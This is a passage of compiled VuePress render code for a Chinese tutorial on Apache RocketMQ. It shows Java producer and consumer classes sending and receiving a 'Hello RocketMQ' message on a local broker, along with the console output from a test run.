punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"生产者发出的消息为:"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("message"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//发送消息并接收结果")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("SendResult")]),s._v(" sendResult "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" producer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("send")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("message"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//打印结果信息")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"生产者收到的发送结果信息为:"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("sendResult"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//关闭生产者")]),s._v("\n producer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("shutdown")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br")])]),a("p",[s._v("生产者的代码比较简单,这里就不再赘述了。")]),s._v(" "),a("h3",{attrs:{id:"编写消费者代码"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#编写消费者代码"}},[s._v("#")]),s._v(" 编写消费者代码")]),s._v(" "),a("p",[s._v("在"),a("code",[s._v("io.binghe.shop.rocketmq.test")]),s._v("包下新建RocketMQConsumer类,作为RocketMQ的消费者,代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description RocketMQ消费者\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketMQConsumer")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("try")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建消息消费者")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("DefaultMQPushConsumer")]),s._v(" consumer "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("DefaultMQPushConsumer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheConsumerGroup"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置NameServer地址")]),s._v("\n consumer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("setNamesrvAddr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:9876"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//订阅bingheTopic主题")]),s._v("\n consumer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("subscribe")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTopic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"*"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置消息监听,当收到消息时RocketMQ会回调消息监听")]),s._v("\n consumer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("registerMessageListener")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("MessageListenerConcurrently")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConsumeConcurrentlyStatus")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("consumeMessage")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("MessageExt")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" list"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConsumeConcurrentlyContext")]),s._v(" consumeConcurrentlyContext"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//打印消息消费者收到的RocketMQ消息")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"消费者收到的消息为:"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" list"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//返回消息消费成功的标识")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConsumeConcurrentlyStatus")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONSUME_SUCCESS")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//启动消费者")]),s._v("\n consumer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("start")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"消费者启动成功"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("catch")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" e"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n e"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("printStackTrace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br")])]),a("h3",{attrs:{id:"测试消息的生产与消费"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试消息的生产与消费"}},[s._v("#")]),s._v(" 测试消息的生产与消费")]),s._v(" "),a("p",[s._v("(1)为了便于观察,这里我们先启动消费者程序RocketMQConsumer,启动RocketMQConsumer后会在IDEA的控制台打印如下信息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("消费者启动成功\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明消费者启动成功了。")]),s._v(" "),a("p",[s._v("(2)运行生产者程序RocketMQProducer,运行后RocketMQProducer程序控制台会输出如下信息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("生产者发出的消息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"body"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"SGVsbG8gUm9ja2V0TVE="')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"delayTimeLevel"')]),s._v(":0,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"flag"')]),s._v(":0,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"properties"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"WAIT"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"true"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"TAGS"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTag"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"tags"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTag"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"topic"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTopic"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"waitStoreMsgOK"')]),s._v(":true"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n生产者收到的发送结果信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"messageQueue"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"brokerName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"DESKTOP-PSKC7T1"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"queueId"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"topic"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTopic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"msgId"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"C0A8006F538418B4AAC25B9EDDAC0000"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"offsetMsgId"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"C0A8B80100002A9F0000000000036B16"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"queueOffset"')]),s._v(":2,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"regionId"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"DefaultRegion"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"sendStatus"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"SEND_OK"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"traceOn"')]),s._v(":true"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("说明生产者程序RocketMQProducer成功将消息发送到RocketMQ。")]),s._v(" "),a("p",[s._v("(3)接下来,再看下消费者程序RocketMQConsumer的控制台,如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("消费者收到的消息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("MessageExt "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("queueId"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storeSize")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("206")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("queueOffset")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("sysFlag")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("bornTimestamp")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1652871538093")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("bornHost")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("/192.168.184.1:52915, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storeTimestamp")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1652871538099")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storeHost")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("/192.168.184.1:10911, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("msgId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("C0A8B80100002A9F0000000000036B16, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("commitLogOffset")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("224022")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("bodyCRC")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1774740973")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("reconsumeTimes")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("preparedTransactionOffset")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", toString"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("Message"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("topic"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'bingheTopic'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("flag")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("properties")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("MIN_OFFSET"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("MAX_OFFSET")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("CONSUME_START_TIME")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1652871538103")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("UNIQ_KEY")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("C0A8006F538418B4AAC25B9EDDAC0000, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("CLUSTER")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("DefaultCluster, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("WAIT")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("TAGS")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("bingheTag"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("body")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("72")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("101")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("108")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("108")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("111")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("82")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("111")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("99")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("107")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("101")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("116")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("77")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token 